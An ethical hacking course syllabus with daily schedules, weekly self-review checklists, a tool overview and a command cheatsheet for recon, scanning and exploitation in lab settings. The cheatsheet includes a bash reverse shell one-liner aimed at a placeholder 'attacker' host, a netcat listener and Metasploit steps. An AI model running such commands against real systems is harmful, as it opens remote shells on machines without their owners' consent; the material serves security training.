Uncodemy Ethical Hacking Course Syllabus Explained in Detail

Module 1 — Daily Schedule:
7:00 AM — Wake up, exercise (30 min)
8:00 AM — Review the day's learning goals
9:00 AM — Live class / recorded lecture (2 hours)
   - Week 1: networking fundamentals
   - Week 2: Linux for hackers
   - Week 3: reconnaissance
   - Week 4: scanning & enumeration
12:00 PM — Lunch break
1:00 PM — Hands-on lab (2 hours)
   - Map networks, run recon, scan targets in safe labs
3:00 PM — Mentor check-in / doubt session (30 min)
4:00 PM — Assignment work (1 hour)
5:00 PM — Review notes, plan tomorrow
6:00 PM — Break / exercise
8:00 PM — Read security blogs (30 min)
10:00 PM — Wind down

Week 1 Review:
□ Do I understand OSI and TCP/IP models?
□ Can I list common ports and services?
□ Have I mapped a network 5 times?

Week 2 Review:
□ Am I comfortable with Linux commands?
□ Do I understand file permissions and services?
□ Have I solved 30 Linux challenges?

Week 3 Review:
□ Can I do WHOIS and DNS recon?
□ Do I know Google dorking basics?
□ Have I reconned 5 targets?

Week 4 Review:
□ Can I run an Nmap scan?
□ Can I enumerate directories?
□ Have I scanned 5 test targets?

Module 2 — Daily Schedule:
7:00 AM — Wake up, exercise (30 min)
8:00 AM — Review the day's learning goals
9:00 AM — Live class / recorded lecture (2 hours)
   - Week 5: vulnerability analysis
   - Week 6: exploitation
   - Week 7: web application security
   - Week 8: privilege escalation & post-exploitation
12:00 PM — Lunch break
1:00 PM — Hands-on lab (2 hours)
   - Run scans, use Metasploit, exploit web bugs in isolated labs
3:00 PM — Mentor check-in / doubt session (30 min)
4:00 PM — Assignment work (1 hour)
5:00 PM — Review notes, plan tomorrow
6:00 PM — Break / exercise
8:00 PM — Read security writeups (30 min)
10:00 PM — Wind down

Week 5 Review:
□ Can I run Nessus or OpenVAS?
□ Do I understand CVSS scores?
□ Have I scanned 3 lab environments?

Week 6 Review:
□ Can I use Metasploit to exploit a target?
□ Do I understand reverse shells?
□ Have I compromised 3 lab targets?

Week 7 Review:
□ Do I know the OWASP Top 10?
□ Can I test SQLi and XSS safely?
□ Have I found and exploited 5 web bugs?

Week 8 Review:
□ Can I spot privilege escalation paths?
□ Do I understand Windows and Linux PE basics?
□ Have I escalated in 3 labs?

Module 3 — Daily Schedule:
7:00 AM — Wake up, exercise (30 min)
8:00 AM — Review the day's goals
9:00 AM — Learn / build (2 hours)
   - Week 9: report writing
   - Week 10: capstone project
   - Week 11: portfolio & interviews
   - Week 12: certification & placement
12:00 PM — Lunch break
1:00 PM — Hands-on build (2 hours)
3:00 PM — Mentor check-in / feedback (30 min)
4:00 PM — Applications & interview practice (1 hour)
5:00 PM — Review progress, plan tomorrow
6:00 PM — Break / exercise
8:00 PM — Read pentest writeups / blogs (30 min)
10:00 PM — Wind down

Week 9 Review:
□ Have I written 2 pentest reports?
□ Do they have exec summary + technical detail?
□ Are remediation steps clear?

Week 10 Review:
□ Is my capstone complete?
□ Is it documented with methodology and findings?
□ Is it on GitHub / portfolio?

Week 11 Review:
□ Have I done 5 mock interviews?
□ Can I explain my methodology clearly?
□ Can I discuss OWASP and MITRE ATT&CK?

Week 12 Review:
□ Am I ready for CEH / eJPT?
□ Have I applied to 20+ roles?
□ Have I attended placement drives?

Command cheatsheet — the basics you'll use daily:

# Recon
whois target.com
dig target.com
nslookup target.com

# Scanning
nmap -sV -sC target.com
nmap -p- target.com
nmap --script vuln target.com

# Web
gobuster dir -u http://target -w wordlist.txt
nikto -h http://target
burpsuite  (GUI for intercepting)

# Exploitation
msfconsole
msf > use exploit/...
msf > set RHOSTS target
msf > run

# Reverse shell (one-liner example)
nc -lvnp 4444
bash -i >& /dev/tcp/attacker/4444 0>&1

# Post-exploitation
linpeas.sh
whoami
sudo -l

Tool overview — what each tool is for:

Kali Linux
- The offensive security OS used for every lab

Nmap
- Network scanning and service detection

Metasploit
- Exploitation framework for known CVEs

Burp Suite
- Web proxy and testing tool

OWASP ZAP
- Free alternative to Burp for web testing

Wireshark
- Packet capture and analysis

Hashcat / John
- Password cracking

Hydra
- Login brute-force tool (in labs only)

LinPEAS / WinPEAS
- Privilege escalation enumeration

Gobuster / Dirb
- Directory and file enumeration

Always use these tools in legal, isolated labs.
Never scan or exploit systems you don't own or have written
permission to test.

Weekly Learning Tracker (Ethical Hacking):

Week: _____
Topics covered:
1. 
2. 
3. 

Labs completed: _____
Tools used: _____
Reports written: _____

What I learned:
1. 
2. 

What needs more practice:
1. 
2. 

Next week's focus:
_______________________________